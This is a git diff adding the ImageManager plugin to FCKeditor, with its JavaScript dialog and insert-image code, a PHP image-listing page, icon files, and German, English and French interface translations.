+               element.removeAttribute(name);
+       }
+}
+
+/* IMAGE MANAGER OBJECT - A CROSS BETWEEN THE STANDALONE & HTMLAREA PLUGIN VERSIONS */
+function ImageManager()
+{
+       //var tt = ImageManager.I18N;   
+};
+
+
+// Open up the plugin's dialog with manager or editor.
+ImageManager.prototype.insert = function(outparam)
+{
+       // show image editor
+       if (IM_directEdit)
+       {
+               // image selected?
+               var sElm = FCK.Selection.GetSelectedElement();
+               if (sElm != null && sElm.nodeName.toLowerCase() == 'img')
+               {
+                       // opening a dialog with the image editor - editor.php must receive the path to the image relative to your 'base_url' defined in 'config.inc.php'
+                       // for direct Editing, we assume that there are no subdirectories in 'base_url' so our path is just '/'
+                       lastSlashPosition = sElm.src.lastIndexOf('/') + 1;
+                       imgFileName = sElm.src.substring(lastSlashPosition);
+                       var url = FCKConfig.PluginsPath + 'ImageManager/editor.php?img=' + "/" + imgFileName;
+                       Dialog(url, null, outparam);
+               }
+               // no image selected - stop
+               else
+               {
+                       alert("no image selected");
+                       return false;
+               }
+       }
+       // show image manager
+       else
+       {
+               var manager = FCKConfig.PluginsPath+'ImageManager/manager.php';
+
+               
+               Dialog(manager, function(param) {
+
+                       if (!param) return false; // user must have pressed cancel
+                       var sElm = FCK.Selection.GetSelectedElement();
+                       if (sElm != null && sElm.nodeName.toLowerCase() == 'img') var im = sElm;                                
+
+                       if (!im) { // new image// no image - create new image
+                               im = FCK.CreateElement('IMG');                                  
+                       }
+
+                       // set image attributes 
+                       setAttrib(im, "_fcksavedurl", param.f_url, true);                       
+                       setAttrib(im, 'src', param.f_url, true);                                
+                       setAttrib(im, 'alt', param.f_alt, true);
+                       setAttrib(im, 'title', param.f_title, true);
+                       setAttrib(im, 'align', param.f_align, true);
+                       setAttrib(im, 'border', param.f_border);
+                       setAttrib(im, 'hspace', param.f_horiz);
+                       setAttrib(im, 'vspace', param.f_vert);
+                       setAttrib(im, 'width', param.f_width);
+                       setAttrib(im, 'height', param.f_height);                                
+                       setAttrib(im, 'className', param.f_className, true); 
+                       return;
+
+               }, outparam);
+       }
+};
+
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// Id: dialog.js 26 2004-03-31 02:35:21Z Wei Zhuo 
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window.document);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++].document));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window.document);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++].document));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {                
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/icon.gif b/fckeditor/editor/plugins/ImageManager/icon.gif
new file mode 100644 (file)
index 0000000..8a6f3d4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/icon.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/images.php b/fckeditor/editor/plugins/ImageManager/images.php
new file mode 100644 (file)
index 0000000..b64ee1c
--- /dev/null
@@ -0,0 +1,209 @@
+<?php
+/**
+ * Show a list of images in a long horizontal table.
+ * @author Wei Zhuo
+ * @version $Id: images.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+
+//default path is /
+$relative = '/';
+$manager = new ImageManager($IMConfig);
+
+//process any file uploads
+$manager->processUploads();
+
+$manager->deleteFiles();
+
+$refreshDir = false;
+//process any directory functions
+if($manager->deleteDirs() || $manager->processNewDir())
+       $refreshDir = true;
+
+//check for any sub-directory request
+//check that the requested sub-directory exists
+//and valid
+if(isset($_REQUEST['dir']))
+{
+       $path = rawurldecode($_REQUEST['dir']);
+       if($manager->validRelativePath($path))
+               $relative = $path;
+}
+
+
+$manager = new ImageManager($IMConfig);
+
+
+//get the list of files and directories
+$list = $manager->getFiles($relative);
+
+
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */
+
+/**
+ * Draw the files in an table.
+ */
+function drawFiles($list, &$manager)
+{
+       global $relative;
+       global $IMConfig;
+
+       foreach($list as $entry => $file) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="javascript:;" onclick="selectImage('<?php echo $file['relative'];?>', '<?php echo $entry; ?>', <?php echo $file['image'][0];?>, <?php echo $file['image'][1]; ?>);"title="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"><img src="<?php echo $manager->getThumbnail($file['relative']); ?>" alt="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"/></a>
+               </td></tr><tr><td class="edit">
+               <?php if($IMConfig['allow_delete'] == true) { ?>
+                       <a href="images.php?dir=<?php echo $relative; ?>&amp;delf=<?php echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<?php echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+               <?php } ?>
+                       <a href="javascript:;" title="Edit" onclick="editImage('<?php echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+               <?php if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+               </td></tr></table></td> 
+         <?php 
+       }//foreach
+}//function drawFiles
+
+
+/**
+ * Draw the directory.
+ */
+function drawDirs($list, &$manager) 
+{
+       global $relative;
+
+       foreach($list as $path => $dir) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="images.php?dir=<?php echo rawurlencode($path); ?>" onclick="updateDir('<?php echo $path; ?>')" title="<?php echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<?php echo $dir['entry']; ?>" /></a>
+               </td></tr><tr>
+               <td class="edit">
+                       <a href="images.php?dir=<?php echo $relative; ?>&amp;deld=<?php echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<?php echo $dir['entry']; ?>', <?php echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+                       <?php echo $dir['entry']; ?>
+               </td>
+               </tr></table></td>
+         <?php 
+       } //foreach
+}//function drawDirs
+
+
+/**
+ * No directories and no files.
+ */
+function drawNoResults() 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="noResult">No Images Found</td>
+  </tr>
+</table>
+<?php  
+}
+
+/**
+ * No directories and no files.
+ */
+function drawErrorBase(&$manager) 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="error">Invalid base directory: <?php echo $manager->config['base_dir']; ?></td>
+  </tr>
+</table>
+<?php  
+}
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+       <title>Image List</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       if(window.top)
+               I18N = window.top.I18N;
+
+       function hideMessage()
+       {
+               var topDoc = window.top.document;
+               var messages = topDoc.getElementById('messages');
+               if(messages)
+                       messages.style.display = "none";
+       }
+
+       init = function()
+       {
+               hideMessage();
+               var topDoc = window.top.document;
+
+<?php 
+       //we need to refesh the drop directory list
+       //save the current dir, delete all select options
+       //add the new list, re-select the saved dir.
+       if($refreshDir) 
+       { 
+               $dirs = $manager->getDirs();
+?>
+               var selection = topDoc.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+
+               while(selection.length > 0)
+               {       selection.remove(0); }
+               
+               selection.options[selection.length] = new Option("/","<?php echo rawurlencode('/'); ?>");       
+               <?php foreach($dirs as $relative=>$fullpath) { ?>
+               selection.options[selection.length] = new Option("<?php echo $relative; ?>","<?php echo rawurlencode($relative); ?>");          
+               <?php } ?>
+               
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == currentDir)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }               
+<?php } ?>
+       }       
+
+       function editImage(image) 
+       {
+               var url = "editor.php?img="+image;
+               Dialog(url, function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               return true;
+                       }
+               }, null);               
+       }
+
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/images.js"></script>
+</head>
+
+<body>
+<?php if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
+       elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+<table>
+       <tr>
+       <?php drawDirs($list[0], $manager); ?>
+       <?php drawFiles($list[1], $manager); ?>
+       </tr>
+</table>
+<?php } else { drawNoResults(); } ?>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/img/2x2.gif b/fckeditor/editor/plugins/ImageManager/img/2x2.gif
new file mode 100644 (file)
index 0000000..2f2ec4a
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/2x2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif b/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif
new file mode 100644 (file)
index 0000000..9b560a8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/2x2_w.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif b/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif
new file mode 100644 (file)
index 0000000..8a832ca
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif b/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif
new file mode 100644 (file)
index 0000000..0c2073b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif b/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif
new file mode 100644 (file)
index 0000000..7bd245d
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif b/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif
new file mode 100644 (file)
index 0000000..cf59af7
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif b/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif
new file mode 100644 (file)
index 0000000..eb568d8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/btn_ok.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/crop.gif b/fckeditor/editor/plugins/ImageManager/img/crop.gif
new file mode 100644 (file)
index 0000000..729dc70
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/crop.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/default.gif b/fckeditor/editor/plugins/ImageManager/img/default.gif
new file mode 100644 (file)
index 0000000..704197f
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/default.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/div.gif b/fckeditor/editor/plugins/ImageManager/img/div.gif
new file mode 100644 (file)
index 0000000..b9940cb
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/div.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/dots.gif b/fckeditor/editor/plugins/ImageManager/img/dots.gif
new file mode 100644 (file)
index 0000000..859294e
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/dots.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_active.gif b/fckeditor/editor/plugins/ImageManager/img/edit_active.gif
new file mode 100644 (file)
index 0000000..35ecf14
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_active.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif b/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif
new file mode 100644 (file)
index 0000000..abb9fe4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif b/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif
new file mode 100644 (file)
index 0000000..beac141
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/edit_trash.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/folder.gif b/fckeditor/editor/plugins/ImageManager/img/folder.gif
new file mode 100644 (file)
index 0000000..180ea1c
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/folder.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/hand.gif b/fckeditor/editor/plugins/ImageManager/img/hand.gif
new file mode 100644 (file)
index 0000000..0fcb538
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/hand.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/islocked2.gif b/fckeditor/editor/plugins/ImageManager/img/islocked2.gif
new file mode 100644 (file)
index 0000000..1dfd2ec
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/islocked2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/locked.gif b/fckeditor/editor/plugins/ImageManager/img/locked.gif
new file mode 100644 (file)
index 0000000..854f1b8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/locked.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/measure.gif b/fckeditor/editor/plugins/ImageManager/img/measure.gif
new file mode 100644 (file)
index 0000000..6d7b0fd
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/measure.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/noimages.gif b/fckeditor/editor/plugins/ImageManager/img/noimages.gif
new file mode 100644 (file)
index 0000000..3014d94
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/noimages.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/replace.gif b/fckeditor/editor/plugins/ImageManager/img/replace.gif
new file mode 100644 (file)
index 0000000..a1c9718
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/replace.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/rotate.gif b/fckeditor/editor/plugins/ImageManager/img/rotate.gif
new file mode 100644 (file)
index 0000000..f1ece0b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/rotate.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/save.gif b/fckeditor/editor/plugins/ImageManager/img/save.gif
new file mode 100644 (file)
index 0000000..be88461
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/save.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/scale.gif b/fckeditor/editor/plugins/ImageManager/img/scale.gif
new file mode 100644 (file)
index 0000000..4308977
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/scale.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/spacer.gif b/fckeditor/editor/plugins/ImageManager/img/spacer.gif
new file mode 100644 (file)
index 0000000..fc25609
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/spacer.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/t_black.gif b/fckeditor/editor/plugins/ImageManager/img/t_black.gif
new file mode 100644 (file)
index 0000000..0400f9e
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/t_black.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/t_white.gif b/fckeditor/editor/plugins/ImageManager/img/t_white.gif
new file mode 100644 (file)
index 0000000..4373239
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/t_white.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif b/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif
new file mode 100644 (file)
index 0000000..b740647
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/unlocked.gif b/fckeditor/editor/plugins/ImageManager/img/unlocked.gif
new file mode 100644 (file)
index 0000000..fe4e0d4
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/unlocked.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif b/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif
new file mode 100644 (file)
index 0000000..496c2f8
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/unlocked2.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermark.gif b/fckeditor/editor/plugins/ImageManager/img/watermark.gif
new file mode 100644 (file)
index 0000000..e278c23
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermark.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png b/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png
new file mode 100644 (file)
index 0000000..3550886
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif b/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif
new file mode 100644 (file)
index 0000000..d9fd370
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif b/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif
new file mode 100644 (file)
index 0000000..4aca50b
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/lang/de.js b/fckeditor/editor/plugins/ImageManager/lang/de.js
new file mode 100644 (file)
index 0000000..555f9b4
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8
+// Author: Udo Schmal (gocher), http://www.schaffrath-neuemedien.de/, udo.schmal@t-online.de
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo",
+       "Replace"                                                                               : "Ersetzen ",
+       "Watermark"                                                                     : "Wasserzeichen",
+       "Image Manager"                                                 : "Bildmanager",
+       "Insert Image"                                                          : "Bild einfügen",
+       "Directory"                                                                             : "Ordner",
+       "Directory Up"                                                          : "übergeordneter Ordner",
+       "New Folder"                                                                    : "Neuer Ordner",
+       "Trash"                                                                                 : "Müll",
+       "Edit"                                                                                  : "bearbeiten",
+       "Image File"                                                                    : "Bilddatei",
+       "Upload"                                                                                : "Hochladen",
+       "Width"                                                                                 : "Breite",
+       "Height"                                                                                        : "Höhe",
+       "Width:"                                                                                : "Breite:",
+       "Height:"                                                                               : "Höhe:",
+       "Constrain Proportions"                                 : "Proportional",
+       "Border"                                                                                : "Rand",
+       "V Space"                                                                               : "vertikaler Freiraum",
+       "H Space"                                                                               : "horizontaler Freiraum",
+       "Refresh"                                                                               : "Aktualisieren",
+       "Uploading..."                                                                  : "Hochladen...",
+       "Crop"                                                                                  : "Beschneiden",
+       "Resize"                                                                                : "Größe ändern",
+       "Rotate"                                                                                : "Drehen",
+       "Measure"                                                                               : "Abmessungen",
+       "Marker"                                                                                : "Marker",
+       "Save"                                                                                  : "Speichern",
+       "Filename:"                                                                     : "Dateiname:",
+       "Image Format"                                                          : "Bildformat",
+       "Quality:"                                                                              : "Qualität:",
+       "JPEG High"                                                                     : "JPEG hoch",
+       "JPEG Medium"                                                           : "JPEG mittel",
+       "JPEG Low"                                                                      : "JPEG niedrig",
+       "File saved."                                                                   : "Datei gespeichert.",
+       "File was not saved."                                           : "Datei wurde nicht gespeichert.",
+       "Start X:"                                                                              : "Start X:",
+       "Start Y:"                                                                              : "Start Y:",
+       "Lock"                                                                                  : "Sperren",
+       "Flip Image"                                                                    : "Bild spiegeln",
+       "Flip Horizontal"                                                               : "horizontal spiegeln",
+       "Flip Vertical"                                                                 : "vertikal spiegeln",
+       "Rotate Image"                                                          : "Bild drehen",
+       "Rotate 180 °"                                                         : "180° drehen",
+       "Rotate 90 ° CW"                                                       : "90° drehen im UZS",
+       "Rotate 90 ° CCW"                                                      : "90° drehen gegen UZS",
+       "Angle:"                                                                                        : "Winkel:",
+       "W:"                                                                                            : "B:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "W:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Entfernen",
+       "Loading"                                                                               : "Laden",
+       "Invalid base directory:"                                       : "Ungültiges Startverzeichnis:",
+       "Delete file?"                                                                  : "Datei löschen?",
+       "Delete folder?"                                                                : "Ordner löschen?",
+       "Folder Name:"                                                          : "Ordnername:",
+       "No Images Found"                                               : "Kein Bild gefunden",
+       "No Image Available"                                            : "Kein Bild verfügbar",
+       "No Image selected."                                            : "Kein Bild ausgewählt.",
+       "Color:"                                                                                        : "Farbe:",
+       "Align:"                                                                                        : "Ausrichtung:",
+       "Description:"                                                                  : "Beschreibung:",
+       "Margin:"                                                                               : "Außenabstand:",
+       "Padding:"                                                                              : "Innenabstand:",
+       "Border:"                                                                               : "Rand:",
+       "Upload:"                                                                               : "Hochladen:",
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "höhe",
+       "width"                                                                                 : "breite ",
+       "angle"                                                                                 : "winkel ",
+       "opacity"                                                                               : "opazität",
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Bitte löschen Sie zuerst alle Dateien im Ordner den Sie löschen möchten.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Ungültiger Ordnername, bitte wählen sie einen anderen Namen.",
+       "GIF format is not supported, image editing not supported."                                                             : "GIF Format wird nicht unterstützt, Bildbearbeitung wird nicht unterstützt.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/en.js b/fckeditor/editor/plugins/ImageManager/lang/en.js
new file mode 100644 (file)
index 0000000..c28a005
--- /dev/null
@@ -0,0 +1,23 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       // doesn't need to be translated. Default language is english.
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/fr.js b/fckeditor/editor/plugins/ImageManager/lang/fr.js
new file mode 100644 (file)
index 0000000..636b23d
--- /dev/null
@@ -0,0 +1,105 @@
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8
+// Author: Thierry Bothorel (update)
+// $Id: fr.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Démo",
+       "Replace"                                                                               : "Remplacer ",
+       "Watermark"                                                                     : "Filigraner",
+       "Image Manager"                                                 : "Bibliothèque d'images",
+       "Insert Image"                                                          : "Insérer une image",
+       "Directory"                                                                             : "Répertoire",
+       "Directory Up"                                                          : "Remonter",
+       "New Folder"                                                                    : "Nouveau répertoire",
+       "Trash"                                                                                 : "Détruire",
+       "Edit"                                                                                  : "Editer",
+       "Image File"                                                                    : "Fichier",
+       "Upload"                                                                                : "Télécharger",
+       "Width"                                                                                 : "Largeur",
+       "Height"                                                                                        : "Hauteur",
+       "Width:"                                                                                : "Largeur:",
+       "Height:"                                                                               : "Hauteur:",
+       "Constrain Proportions"                                 : "Conserver les proportions",
+       "Border"                                                                                : "Bordure",
+       "V Space"                                                                               : "Espace V",
+       "H Space"                                                                               : "Espace H",
+       "Refresh"                                                                               : "Rafraîchir",
+       "Uploading..."                                                                  : "Chargement...",
+       "Crop"                                                                                  : "Recadrer",
+       "Resize"                                                                                : "Retailler",
+       "Rotate"                                                                                : "Pivoter",
+       "Measure"                                                                               : "Mesure",
+       "Marker"                                                                                : "Marqueur",
+       "Save"                                                                                  : "Sauver",
+       "Filename:"                                                                     : "Nom:",
+       "Image Format"                                                          : "Format d'image",
+       "Quality:"                                                                              : "Qualité:",
+       "JPEG High"                                                                     : "JPEG haut",
+       "JPEG Medium"                                                           : "JPEG moyen",
+       "JPEG Low"                                                                      : "JPEG bas",
+       "File saved."                                                                   : "Fichier sauvegardé.",
+       "File was not saved."                                           : "Fichier non sauvegardé.",
+       "Start X:"                                                                              : "Début X:",
+       "Start Y:"                                                                              : "Début Y:",
+       "Lock"                                                                                  : "Cadenas",
+       "Flip Image"                                                                    : "Symétrie",
+       "Flip Horizontal"                                                               : "Symétrie horizontale",
+       "Flip Vertical"                                                                 : "Symétrie verticale",
+       "Rotate Image"                                                          : "Rotation",
+       "Rotate 180 °"                                                         : "Rotation 180°",
+       "Rotate 90 ° CW"                                                       : "Rotation 90° horaire",
+       "Rotate 90 ° CCW"                                                      : "Rotation 90° antihoraire",
+       "Angle:"                                                                                        : "Angle:",
+       "W:"                                                                                            : "L:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "A:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Effacer",
+       "Loading"                                                                               : "Chargement en cours",
